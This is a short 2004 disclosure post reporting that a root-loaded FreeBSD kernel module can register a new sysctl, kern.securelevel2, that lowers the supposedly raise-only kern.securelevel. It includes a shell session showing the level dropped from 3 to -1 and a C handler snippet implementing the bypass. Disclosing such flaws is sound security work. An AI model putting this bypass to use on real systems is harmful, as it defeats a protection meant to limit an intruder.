Unprivilegued settings for FreeBSD kernel variables

CATEGORY:
kern

INTRODUCTION:
i have found security threat in basic security facility in BSD systems
that allows to lower sysctl variable

in this case to bypass security settings, root privilegues are needed

DESCRIPTION:
sysctl(8)
...
     The sysctl utility retrieves kernel state and allows processes with
     appropriate privilege to set kernel state. The state to be retrieved or
     set is described using a ``Management Information Base'' (``MIB'') style
     name, described as a dotted set of components.
...
    kern.securelevel integer raise only
...

security(7)
...
Once you have set the securelevel to 1, write access to raw devices will
be denied and special chflags flags, such as `schg', will be enforced.
...

sysctl(3)
...
KERN_SECURELVL
The system security level. This level may be raised by processes
with appropriate privilege. It may not be lowered.
...

PROBLEM:
raise only kernel variables aren't really raise only, here is the
way how we can avoid security settings

EXAMPLE:
kernel module can gives you a new sysctl (for example kern.securelevel2):
kern.securelevel2
with which you can lower/raiser sysctl.securelevel variable
(source code attached)

$ kldstat
Id Refs Address Size Name
 1 7 0xc0400000 4378e4 kernel
 ...
$
$ kldload ./securelevel2.ko
$ kldstat
Id Refs Address Size Name
 1 8 0xc0400000 4378e4 kernel
 ...
 8 1 0xc4e96000 2000 securelevel2.ko

$sudo sysctl kern.securelevel
kern.securelevel: -1
$sudo sysctl kern.securelevel=3
kern.securelevel: -1 -> 3
$ sudo sysctl kern.securelevel
kern.securelevel: 3
$ sudo sysctl kern.securelevel=-1
kern.securelevel: 3
sysctl: kern.securelevel: Operation not permitted
$ sudo sysctl kern.securelevel2=-1
kern.securelevel2: 3 -> -1
$ sudo sysctl kern.securelevel
kern.securelevel: -1
$ uname -a
FreeBSD mk 5.2.1-RELEASE-p5 FreeBSD 5.2.1-RELEASE-p5 #8: Wed Jun 2 11:23:59 CEST 2004 rado_at_mk:/xx/angel i386

CODE:
[...]
static int sysctl_securelevel2(SYSCTL_HANDLER_ARGS) {
        int error;
        error = sysctl_handle_long(oidp,&(securelevel), 0, req);
        return (error);
}
SYSCTL_PROC(_kern, OID_AUTO, securelevel2, CTLTYPE_LONG|CTLFLAG_RW, 0, 0, sysctl_securelevel2, "I", ".");
[...]

WORKAROUND:
not known

SEE ALSO:
other "raise only" :-) sysctl variables (uptime....), write access to raw devices...

STATUE:
still better than others

AFFECTED DISTRIBUTIONS:
FreeBSD 5.x i386
FreeBSD, OpenBSD, NetBSD is most likely also affected (investigation needed)

LAST WORDS:
i think i'm paranoid, but i want some measures to be taken
FreeBSD team was informed

Best regards,

--
Radko <rado_at_daemon.sk>